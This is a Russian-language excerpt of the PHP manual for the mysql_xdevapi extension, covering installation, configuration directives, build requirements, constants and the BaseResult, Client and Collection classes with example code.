// Альтернативой 'phpenmod' является создание символической ссылки
// $ ln -s /etc/php/7.2/mods-available/mysql_xdevapi.ini /etc/php/7.2/cli/conf.d/20-mysql_xdevapi.ini

// Давайте посмотрим, какие модули MySQL сейчас включены
$ php -m |grep mysql

mysql_xdevapi
mysqli
mysqlnd
pdo_mysql

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/mysql_xdevapi.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Mysql_xdevapi
Имя | По умолчанию | Место изменения | Список изменений
xmysqlnd.collect_memory_statistics | 0 | PHP_INI_SYSTEM |
xmysqlnd.collect_statistics | 1 | PHP_INI_ALL |
xmysqlnd.debug |  | PHP_INI_SYSTEM |
xmysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
xmysqlnd.net_read_timeout | 31536000 | PHP_INI_SYSTEM |
xmysqlnd.trace_alloc |  | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

xmysqlnd.collect_memory_statistics int

xmysqlnd.collect_statistics int

xmysqlnd.debug string

xmysqlnd.mempool_default_size int

xmysqlnd.net_read_timeout int

xmysqlnd.trace_alloc string

User Contributed Notes

There are no user contributed notes for this page.


Сборка / Компиляция из исходного кода

Соображения по компиляции этого модуля из исходного кода.

  • Имя модуля - 'mysql_xdevapi', поэтому используйте --enable-mysql-xdevapi.

  • Boost: обязателен, при необходимости используйте параметр конфигурации --with-boost=DIR или задайте переменную окружения MYSQL_XDEVAPI_BOOST_ROOT. Требуются только файлы заголовков boost; не двоичные файлы.

  • Google Protocol Buffers (protobuf): обязателен, при необходимости используйте параметр конфигурации --with-protobuf=DIR или задайте переменную окружения MYSQL_XDEVAPI_PROTOBUF_ROOT.

    При желании используйте make protobufs для создания файлов protobuf (*.pb.cc/.h) и make clean-protobufs для удаления созданных файлов protobuf.

    Примечание к protobuf на Windows: в зависимости от окружения может потребоваться статическая библиотека с многопоточным временем выполнения DLL. Для подготовки используйте следующие параметры: -Dprotobuf_MSVC_STATIC_RUNTIME=OFF -Dprotobuf_BUILD_SHARED_LIBS=OFF

  • Google Protocol Buffers / protocol compiler (protoc): обязательны, убедитесь, что во время сборки в PATH доступен правильный 'protoc'. Это особенно важно, поскольку пакетные сценарии Windows PHP SDK могут перезаписывать окружение.

  • Bison: обязателен, и доступен из PATH.

    Примечание к bison на Windows: мы настоятельно рекомендуем, чтобы bison, поставляемый с выбранным PHP SDK, использовал ещё одну ошибку, похожую на "zend_globals_macros.h(39): error C2375: 'zendparse': redefinition; different linkage Zend/zend_language_parser.h(214): примечание: note: see declaration of 'zendparse'". Кроме того, пакетные сценарии Windows PHP SDK могут перезаписывать окружение.

  • Примечания для Windows: Чтобы подготовить окружение, ознакомьтесь с официальной документацией по сборке Windows для » текущего SDK.

    Мы рекомендуем использовать обратную косую черту '\\' вместо косой черты '/' для всех путей.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MYSQLX_CLIENT_SSL (int)
MYSQLX_TYPE_DECIMAL (int)
MYSQLX_TYPE_TINY (int)
MYSQLX_TYPE_SHORT (int)
MYSQLX_TYPE_SMALLINT (int)
MYSQLX_TYPE_MEDIUMINT (int)
MYSQLX_TYPE_INT (int)
MYSQLX_TYPE_BIGINT (int)
MYSQLX_TYPE_LONG (int)
MYSQLX_TYPE_FLOAT (int)
MYSQLX_TYPE_DOUBLE (int)
MYSQLX_TYPE_NULL (int)
MYSQLX_TYPE_TIMESTAMP (int)
MYSQLX_TYPE_LONGLONG (int)
MYSQLX_TYPE_INT24 (int)
MYSQLX_TYPE_DATE (int)
MYSQLX_TYPE_TIME (int)
MYSQLX_TYPE_DATETIME (int)
MYSQLX_TYPE_YEAR (int)
MYSQLX_TYPE_NEWDATE (int)
MYSQLX_TYPE_ENUM (int)
MYSQLX_TYPE_SET (int)
MYSQLX_TYPE_TINY_BLOB (int)
MYSQLX_TYPE_MEDIUM_BLOB (int)
MYSQLX_TYPE_LONG_BLOB (int)
MYSQLX_TYPE_BLOB (int)
MYSQLX_TYPE_VAR_STRING (int)
MYSQLX_TYPE_STRING (int)
MYSQLX_TYPE_CHAR (int)
MYSQLX_TYPE_BYTES (int)
MYSQLX_TYPE_INTERVAL (int)
MYSQLX_TYPE_GEOMETRY (int)
MYSQLX_TYPE_JSON (int)
MYSQLX_TYPE_NEWDECIMAL (int)
MYSQLX_TYPE_BIT (int)
MYSQLX_LOCK_DEFAULT (int)
MYSQLX_LOCK_NOWAIT (int)
MYSQLX_LOCK_SKIP_LOCKED (int)

User Contributed Notes

There are no user contributed notes for this page.


Список изменений

Следующие изменения были произведены с классами/функциями/методами данного модуля.

Общий журнал изменений модуля ext/mysql_xdevapi

Журнал изменений ссылается на модуль ext/mysql_xdevapi.

Глобальные изменения ext/mysql_xdevapi

Версия | Описание
8.0.28 | Удалена поддержка TLSv1 и TLSv1.1. Значения "TLSv1", "TLSv1.0" и "TLSv1.1" теперь считаются недопустимыми для атрибута соединения "tls-versions".
8.0.26 | Поддержка TLSv1 и TLSv1.1 объявлена устаревшей.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Центральной точкой входа в X DevAPI является функция mysql_xdevapi\getSession(), которая получает URI на сервер MySQL 8.0 и возвращает объект mysql_xdevap\Session.

Пример #1 Подключение к серверу MySQL

<?php
try {
$session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
die("Не удалось установить соединение: " . $e->getMessage());
}

// ... используйте $session
?>

Сессия обеспечивает полный доступ к API. Для новой установки сервера MySQL первым шагом является создание схемы базы данных с коллекцией для хранения данных:

Пример #2 Создание схемы и коллекции на сервере MySQL

<?php
$schema = $session->createSchema("test");
$collection = $schema->createCollection("example");
?>

При хранении данных, как правило, json_encode() используется для кодирования данных в JSON, который затем может храниться в коллекции.

В следующем примере данные сохраняются в коллекции, которую мы создали ранее, а затем снова извлекаем их части.

Пример #3 Хранение и получение данных

<?php
$marco = [
"name" => "Marco",
"age" => 19,
"job" => "Programmer"
];
$mike = [
"name" => "Mike",
"age" => 39,
"job" => "Manager"
];

$schema = $session->getSchema("test");
$collection = $schema->getCollection("example");

$collection->add($marco, $mike)->execute();

var_dump($collection->find("name = 'Mike'")->execute()->fetchOne());
?>

Результатом выполнения данного примера будет что-то подобное:

array(4) {
  ["_id"]=>
  string(28) "00005ad66aaf0000000000000003"
  ["age"]=>
  int(39)
  ["job"]=>
  string(7) "Manager"
  ["name"]=>
  string(4) "Mike"
}

Пример демонстрирует, что сервер MySQL добавляет дополнительное поле с именем _id, которое служит первичным ключом к документу.

В примере также показано, что извлечённые данные сортируются в алфавитном порядке. Этот конкретный порядок исходит из эффективного двоичного хранилища внутри сервера MySQL, но на него не следует полагаться. За подробностями обращайтесь к документации по типу данных MySQL JSON.

При желании можно использовать итераторы PHP для извлечения нескольких документов:

Пример #4 Извлечение и итерация нескольких документов

<?php
$result = $collection->find()->execute();
foreach ($result as $doc) {
echo "${doc["name"]} is a ${doc["job"]}.\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

Marco is a Programmer.
Mike is a Manager.

User Contributed Notes

There are no user contributed notes for this page.


Функции Mysql_xdevapi

Содержание

  • expression — Связывает подготовленные переменные утверждения в качестве параметров
  • getSession — Подключается к серверу MySQL

User Contributed Notes

There are no user contributed notes for this page.


Связывает подготовленные переменные утверждения в качестве параметров

  • « Функции Mysql_xdevapi
  • getSession »
  • PHP Manual
  • Функции Mysql_xdevapi
  • Связывает подготовленные переменные утверждения в качестве параметров

expression

(Информация о версии неизвестна, возможно, только в Git)

expression — Связывает подготовленные переменные утверждения в качестве параметров

Описание

mysql_xdevapi\expression(string $expression): object

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

expression

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Expression()

<?php
$expression = mysql_xdevapi\Expression("[age,job]");

$res = $coll->find("age > 30")->fields($expression)->limit(3)->execute();
$data = $res->fetchAll();

print_r($data);
?>

Результатом выполнения данного примера будет что-то подобное:

<?php

User Contributed Notes

There are no user contributed notes for this page.


Подключается к серверу MySQL

  • « expression
  • mysql_xdevapi\BaseResult »
  • PHP Manual
  • Функции Mysql_xdevapi
  • Подключается к серверу MySQL

getSession

(Информация о версии неизвестна, возможно, только в Git)

getSession — Подключается к серверу MySQL

Описание

mysql_xdevapi\getSession(string $uri): mysql_xdevapi\Session

Подключается к серверу MySQL.

Список параметров

uri

URI к серверу MySQL, такой как mysqlx://user:password@host.

Формат URI:

scheme://[user[:[password]]@]target[:port][?attribute1=value1&attribute2=value2...

  • scheme: обязательный, протокол соединения

    В mysql_xdevapi это всегда 'mysqlx' (для X Protocol)

  • user: необязательный, учётная запись пользователя MySQL для аутентификации

  • password: необязательный, пароль пользователя MySQL для аутентификации

  • target: обязательный, экземпляр сервера, к которому относится соединение:

    * TCP-соединение (имя хоста, адрес IPv4 или адрес IPv6)

    * Путь к сокету Unix (локальный путь к файлу)

    * Именованный канал Windows (локальный путь к файлу)

  • port: необязательный, сетевой порт сервера MySQL.

    по умолчанию порт для X Protocol равен 33060

  • ?attribute=value: этот элемент является необязательным и определяет словарь данных, который содержит различные параметры, в том числе:

    • Атрибут auth (механизм аутентификации), поскольку он относится к зашифрованным соединениям. Для получения дополнительной информации смотрите » Параметры команды для зашифрованных соединений. Поддерживаются следующие значения: plain, mysql41, external, и sha256_mem.

    • Атрибут connect-timeout влияет на соединение, а не на последующие операции. Он устанавливается для каждого соединения на одном или нескольких хостах.

      Введите положительное целое число, чтобы определить время ожидания соединения в секундах, или введите 0 (ноль), чтобы отключить время ожидания (бесконечно). Не определяя время ожидания подключения, вы используется значение по умолчанию 10.

      Связанные, переменные среды MYSQLX_CONNECTION_TIMEOUT (время ожидания в секундах) и MYSQLX_TEST_CONNECTION_TIMEOUT (используемые во время выполнения тестов) могут быть установлены и использованы вместо connect-timeout соединения в URI. Параметр URI подключения к connect-timeout имеет приоритет над переменными среды.

    • Необязательный атрибут compression принимает следующие значения: preferred (клиент договаривается с сервером, чтобы найти поддерживаемый алгоритм; соединение не сжато, если взаимно поддерживаемый алгоритм не найден), required (как "preferred", но соединение разрывается, если взаимно поддерживаемый алгоритм не найден), или disabled (соединение не сжато). По умолчанию используется preferred.

      Опция была добавлена в версии 8.0.20.

    • Необязательный атрибут compression-algorithms определяет желаемые алгоритмы сжатия (и их предпочтительный порядок использования): zstd_stream(псевдоним: zstd), lz4_message (псевдоним: lz4) или deflate_stream (псевдонимы: deflate или zlib). По умолчанию используется порядок (в зависимости от доступности системы): lz4_message, zstd_stream, затем deflate_stream. Например, при передаче compression-algorithms=[lz4, zstd_stream] используется lz4, если он доступен, в противном случае используется zstd_stream. Если оба недоступны, поведение зависит от значения сжатия, например, если compression=required, то произойдёт сбой с ошибкой.

      Опция была добавлена в версии 8.0.22.

Пример #1 Примеры URI

mysqlx://foobar
mysqlx://root@localhost?socket=%2Ftmp%2Fmysqld.sock%2F
mysqlx://foo:bar@localhost:33060
mysqlx://foo:bar@localhost:33160?ssl-mode=disabled
mysqlx://foo:bar@localhost:33260?ssl-mode=required
mysqlx://foo:bar@localhost:33360?ssl-mode=required&auth=mysql41
mysqlx://foo:bar@(/path/to/socket)
mysqlx://foo:bar@(/path/to/socket)?auth=sha256_mem
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]
mysqlx://foobar?ssl-ca=(/path/to/ca.pem)&ssl-crl=(/path/to/crl.pem)
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]?ssl-mode=disabled
mysqlx://foo:bar@localhost:33160/?connect-timeout=0
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required&compression-algorithms=[lz4,zstd_stream]

Для получения дополнительной информации смотрите MySQL Shell » Подключение с использованием строки URI.

Возвращаемые значения

Объект Session.

Ошибки

Ошибка соединения вызывает Exception.

Примеры

Пример #2 Пример использования mysql_xdevapi\getSession()

<?php
try {
$session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
die("Не удалось установить соединение: " . $e->getMessage());
}

$schemas = $session->getSchemas();
print_r($schemas);

$mysql_version = $session->getServerVersion();
print_r($mysql_version);

var_dump($collection->find("name = 'Alfred'")->execute()->fetchOne());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => helloworld
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    [2] => mysql_xdevapi\Schema Object
        (
            [name] => mysql
        )
    [3] => mysql_xdevapi\Schema Object
        (
            [name] => performance_schema
        )
    [4] => mysql_xdevapi\Schema Object
        (
            [name] => sys
        )
)

80012

array(4) {
  ["_id"]=>
  string(28) "00005ad66abf0001000400000003"
  ["age"]=>
  int(42)
  ["job"]=>
  string(7) "Butler"
  ["name"]=>
  string(4) "Alfred"
}

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс BaseResult

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\BaseResult {
/* Методы */
abstract public getWarnings(): array
abstract public getWarningsCount(): int
}

Содержание

  • BaseResult::getWarnings — Получает предупреждения последней операции
  • BaseResult::getWarningsCount — Получает количество предупреждений последней операции

User Contributed Notes

There are no user contributed notes for this page.


Получает предупреждения последней операции

  • « mysql_xdevapi\BaseResult
  • BaseResult::getWarningsCount »
  • PHP Manual
  • mysql_xdevapi\BaseResult
  • Получает предупреждения последней операции

BaseResult::getWarnings

(Информация о версии неизвестна, возможно, только в Git)

BaseResult::getWarnings — Получает предупреждения последней операции

Описание

abstract public mysql_xdevapi\BaseResult::getWarnings(): array

Получает предупреждения, сгенерированные последней операцией сервера MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив объектов Warning последней операции. Каждый объект содержит сообщение об ошибке ('message'), уровень ошибки ('level') и код ошибки ('code'). Возвращается пустой массив, если ошибок нет.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarnings()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество предупреждений последней операции

  • « BaseResult::getWarnings
  • mysql_xdevapi\Client »
  • PHP Manual
  • mysql_xdevapi\BaseResult
  • Получает количество предупреждений последней операции

BaseResult::getWarningsCount

(Информация о версии неизвестна, возможно, только в Git)

BaseResult::getWarningsCount — Получает количество предупреждений последней операции

Описание

abstract public mysql_xdevapi\BaseResult::getWarningsCount(): int

Возвращает количество предупреждений, выданных последней операцией. В частности, эти предупреждения вызываются сервером MySQL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество предупреждений последней операции.

Примеры

Пример #1 Пример использования mysql_xdevapi\RowResult::getWarningsCount()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

Результатом выполнения данного примера будет что-то подобное:

2

User Contributed Notes

There are no user contributed notes for this page.


Класс Client

(Информация о версии неизвестна, возможно, только в Git)

Введение

Предоставляет доступ к пулу соединений.

Обзор классов

class mysql_xdevapi\Client {
/* Методы */
public close(): bool
public getSession(): mysql_xdevapi\Session
}

Содержание

  • mysql_xdevapi\Client::close — Закрытие клиента
  • Client::__construct — Конструктор класса Client
  • Client::getClient — Получает сеанс клиента

User Contributed Notes

There are no user contributed notes for this page.


Закрытие клиента

  • « mysql_xdevapi\Client
  • Client::__construct »
  • PHP Manual
  • mysql_xdevapi\Client
  • Закрытие клиента

mysql_xdevapi\Client::close

(Информация о версии неизвестна, возможно, только в Git)

mysql_xdevapi\Client::close — Закрытие клиента

Описание

public mysql_xdevapi\Client::close(): bool

Закрывает все клиентские соединения с сервером.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если соединения закрыты.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Client

  • « mysql_xdevapi\Client::close
  • Client::getClient »
  • PHP Manual
  • mysql_xdevapi\Client
  • Конструктор класса Client

Client::__construct

(Информация о версии неизвестна, возможно, только в Git)

Client::__construct — Конструктор класса Client

Описание

private mysql_xdevapi\Client::__construct()

Конструктор класса Client.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Client::__construct()

<?php
$pooling_options = '{
"enabled": true,
"maxSize": 10,
"maxIdleTime": 3600,
"queueTimeOut": 1000
}';
$client = mysql_xdevapi\getClient($connection_uri, $pooling_options);
$session = $client->getSession();

User Contributed Notes

There are no user contributed notes for this page.


Получает сеанс клиента

  • « Client::__construct
  • mysql_xdevapi\Collection »
  • PHP Manual
  • mysql_xdevapi\Client
  • Получает сеанс клиента

Client::getClient

(Информация о версии неизвестна, возможно, только в Git)

Client::getClient — Получает сеанс клиента

Описание

public mysql_xdevapi\Client::getSession(): mysql_xdevapi\Session

Получает сеанс, связанный с клиентом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект Session.

User Contributed Notes

There are no user contributed notes for this page.


Класс Collection

(PECL mysql-xdevapi >= 8.0.11)

Введение

Обзор классов

class mysql_xdevapi\Collection implements mysql_xdevapi\SchemaObject {
/* Свойства */
public $name;
/* Методы */
public add(mixed $document): mysql_xdevapi\CollectionAdd
public addOrReplaceOne(string $id, string $doc): mysql_xdevapi\Result
public count(): int
public createIndex(string $index_name, string $index_desc_json): void
public dropIndex(string $index_name): bool
public existsInDatabase(): bool
public find(string $search_condition = ?): mysql_xdevapi\CollectionFind
public getName(): string
public getOne(string $id): Document
public getSchema(): Schema Object
public getSession(): Session
public modify(string $search_condition): mysql_xdevapi\CollectionModify
public remove(string $search_condition): mysql_xdevapi\CollectionRemove
public removeOne(string $id): mysql_xdevapi\Result
public replaceOne(string $id, string $doc): mysql_xdevapi\Result
}

Свойства

name

Содержание

  • Collection::add — Добавляет документ в коллекцию
  • Collection::addOrReplaceOne — Добавляет или заменяет документ коллекции
  • Collection::__construct — Конструктор класса Collection
  • Collection::count — Получает количество документов
  • Collection::createIndex — Создаёт индекс для коллекции
  • Collection::dropIndex — Удаляет индекс коллекции
  • Collection::existsInDatabase — Проверяет, существует ли коллекция в базе данных
  • Collection::find — Ищет документ
  • Collection::getName — Получает название коллекции
  • Collection::getOne — Получает один документ
  • Collection::getSchema — Возвращает объект Schema
  • Collection::getSession — Возвращает объект Session
  • Collection::modify — Изменяет документы коллекции
  • Collection::remove — Удаляет документы коллекции
  • Collection::removeOne — Удаляет один документ из коллекции
  • Collection::replaceOne — Заменяет один документ коллекции

User Contributed Notes

There are no user contributed notes for this page.


Добавляет документ в коллекцию

  • « mysql_xdevapi\Collection
  • Collection::addOrReplaceOne »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Добавляет документ в коллекцию

Collection::add

(Информация о версии неизвестна, возможно, только в Git)

Collection::add — Добавляет документ в коллекцию

Описание

public mysql_xdevapi\Collection::add(mixed $document): mysql_xdevapi\CollectionAdd

Запускает добавление данного документа (документов) в коллекцию, поддерживаются несколько вариантов метода. Возможные варианты:

  1. Добавление одного документа в виде строки JSON.

  2. Добавление одного документа в виде массива, например: [ 'field' => 'value', 'field2' => 'value2' ... ]

  3. В одну и ту же операцию можно добавить, как документ, так и несколько документов.

Список параметров

document

Один или несколько документов, это может быть либо JSON, либо массив полей с соответствующими значениями. Массив не может быть пустым.

Сервер MySQL автоматически генерирует уникальные значения _id для каждого документа (рекомендуется), хотя оно также может быть добавлено вручную. Это значение должно быть уникальным, иначе операция добавления не будет выполнена.

Возвращаемые значения

Объект CollectionAdd. Используйте execute() для возврата Result, который можно использовать для запроса количества затронутых элементов, количества предупреждений, сгенерированных операцией, или для получения списка сгенерированных идентификаторов для добавленных документов.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::add()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Добавление двух документов
$collection->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// Добавление двух документов используя один объект JSON
$result = $collection->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')->execute();

// Получение списка сгенерированных идентификаторов последней операции add()
$ids = $result->getGeneratedIds();
print_r($ids);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

Примечания

Замечание:

MySQL Server 8.0 или выше генерирует уникальный _id, как показано в примере. Поле _id должно быть определено вручную, если используется MySQL Server 5.7.

User Contributed Notes

cyork at echodreamz dot com 20-Aug-2018 08:51
Seems that (at least with MySQL 5.7.23) if you do not set an _id field in the array of items to "add", it fails with error...

 [HY000] Document is missing a required field

Adding "_id" => xxxx does resolve the issue.
jcastro at eftec dot cl 09-Aug-2018 02:14
It returns a mysql_xdevapi\CollectionAdd instead of a mysql_xdevapi\Result


Добавляет или заменяет документ коллекции

  • « Collection::add
  • Collection::__construct »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Добавляет или заменяет документ коллекции

Collection::addOrReplaceOne

(Информация о версии неизвестна, возможно, только в Git)

Collection::addOrReplaceOne — Добавляет или заменяет документ коллекции

Описание

public mysql_xdevapi\Collection::addOrReplaceOne(string $id, string $doc): mysql_xdevapi\Result

Добавляет новый документ или заменяет существующий.

Вот несколько сценариев для этого метода:

  • Если ни идентификатор, ни какое-либо уникальное значение ключа не конфликтуют с каким-либо документом в коллекции, то этот документ добавляется.

  • Если идентификатор не соответствует ни одному документу, но одно или несколько уникальных значений ключей конфликтуют с документом в коллекции, выдаётся ошибка.

  • Если идентификатор соответствует существующему документу и уникальные ключи не определены для коллекции, то документ заменяется.

  • Если идентификатор соответствует существующему документу, или все уникальные ключи в документе замены соответствуют этому же документу или не конфликтуют с другими документами в коллекции, документ заменяется.

  • Если идентификатор соответствует существующему документу, а один или несколько уникальных ключей соответствуют документу, отличному от коллекции, выдаётся ошибка.

Список параметров

id

Идентификатор фильтра. Если идентификатор или любое другое поле с уникальным индексом уже существует в коллекции, он обновит соответствующий документ.

По умолчанию этот идентификатор автоматически генерируется MySQL Server при добавлении записи и упоминается, как поле с именем '_id'.

doc

Это документ для добавления или замены, представляющий собой строку JSON.

Возвращаемые значения

Объект Result.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::addOrReplaceOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Использование add()
$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// Использование addOrReplaceOne()
// Примечания: мы передаём известное значение _id
$result = $collection->addOrReplaceOne('00005b6b53610000000000000056', '{"name": "Fred", "age": 21, "job": "Construction"}');

?>

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Collection

  • « Collection::addOrReplaceOne
  • Collection::count »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Конструктор класса Collection

Collection::__construct

(Информация о версии неизвестна, возможно, только в Git)

Collection::__construct — Конструктор класса Collection

Описание

private mysql_xdevapi\Collection::__construct()

Создаёт объект Collection.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::getOne()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// Уникальный _id (по умолчанию и рекомендуется) генерируется MySQL Server
// Возвращает сгенерированные _id; в этом примере добавлена только одна запись, поэтому $ids[0]
$ids = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

Результатом выполнения данного примера будет что-то подобное:

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


Получает количество документов

  • « Collection::__construct
  • Collection::createIndex »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Получает количество документов

Collection::count

(Информация о версии неизвестна, возможно, только в Git)

Collection::count — Получает количество документов

Описание

public mysql_xdevapi\Collection::count(): int

Функционал аналогичен операции SQL SELECT COUNT(*) на сервере MySQL для текущей схемы и коллекции. Другими словами, метод подсчитывает количество документов в коллекции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество документов в коллекции.

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::count()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"jobs": [
{"title":"Cat Herder","Salary":42000},
{"title":"Father","Salary":0}
],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [
{"title":"Scientist","Salary":18000},
{"title":"Mother","Salary":0}
],
"hobbies": ["Walking","Making pies"]}')
->execute();

var_dump($collection->count());
?>

Результат выполнения данного примера:

int(2)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт индекс для коллекции

  • « Collection::count
  • Collection::dropIndex »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Создаёт индекс для коллекции

Collection::createIndex

(Информация о версии неизвестна, возможно, только в Git)

Collection::createIndex — Создаёт индекс для коллекции

Описание

public mysql_xdevapi\Collection::createIndex(string $index_name, string $index_desc_json): void

Создаёт индекс для коллекции.

Выдаётся исключение, если индекс с таким именем уже существует, или если определение индекса сформировано неправильно.

Список параметров

index_name

Имя индекса, который нужно создать. Должно быть корректным именем индекса, допустимым для SQL-запроса CREATE INDEX.

index_desc_json

Определение индекса для создания. Содержит массив объектов IndexField, и каждый объект описывает один элемент документа для добавления в индекс, а также необязательную строку для типа индекса, который может быть INDEX (по умолчанию) или SPATIAL.

Одно описание IndexField состоит из следующих полей:

  • field: строка, полный путь документа к элементу документа или полю для индексации.

  • type: строка, один из поддерживаемых типов столбцов SQL для сопоставления поля. Для числовых типов может быть добавлено необязательное ключевое слово UNSIGNED. Для типа TEXT может быть добавлена длина, учитываемая для индексации.

  • required: булево, (необязательное) true, если поле должно быть обязательным в документе. По умолчанию используется значение false, за исключением типа GEOJSON, где по умолчанию используется значение true.

  • options: целое число, (необязательное) флаги специальных опций для использования при декодировании данных GEOJSON.

  • srid: целое число, (необязательное) значение srid для использования при декодировании данных GEOJSON.

Ошибочно включать другие поля, не описанные выше, в документы IndexDefinition или IndexField.

Возвращаемые значения

Примеры

Пример #1 Пример использования mysql_xdevapi\Collection::createIndex()

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

// Создание текстового индекса
$collection->createIndex(
'myindex1',
'{"fields": [{
"field": "$.name",
"type": "TEXT(25)",
"required": true}],
"unique": false}'
);

// Пространственный индекс
$collection->createIndex(
'myindex2',
'{"fields": [{
"field": "$.home",
"type": "GEOJSON",
"required": true}],
"type": "SPATIAL"}'
);

// Индекс с несколькими полями
$collection->createIndex(
'myindex3',
'{"fields": [
{
"field": "$.name",
"type": "TEXT(20)",
"required": true
},
{
"field": "$.age",
"type": "INTEGER"
},
{
"field": "$.job",
"type": "TEXT(30)",
"required": false
}
],
"unique": true
}'
);

User Contributed Notes

There are no user contributed notes for this page.


Удаляет индекс коллекции

  • « Collection::createIndex
  • Collection::existsInDatabase »
  • PHP Manual
  • mysql_xdevapi\Collection
  • Удаляет индекс коллекции

Collection::dropIndex
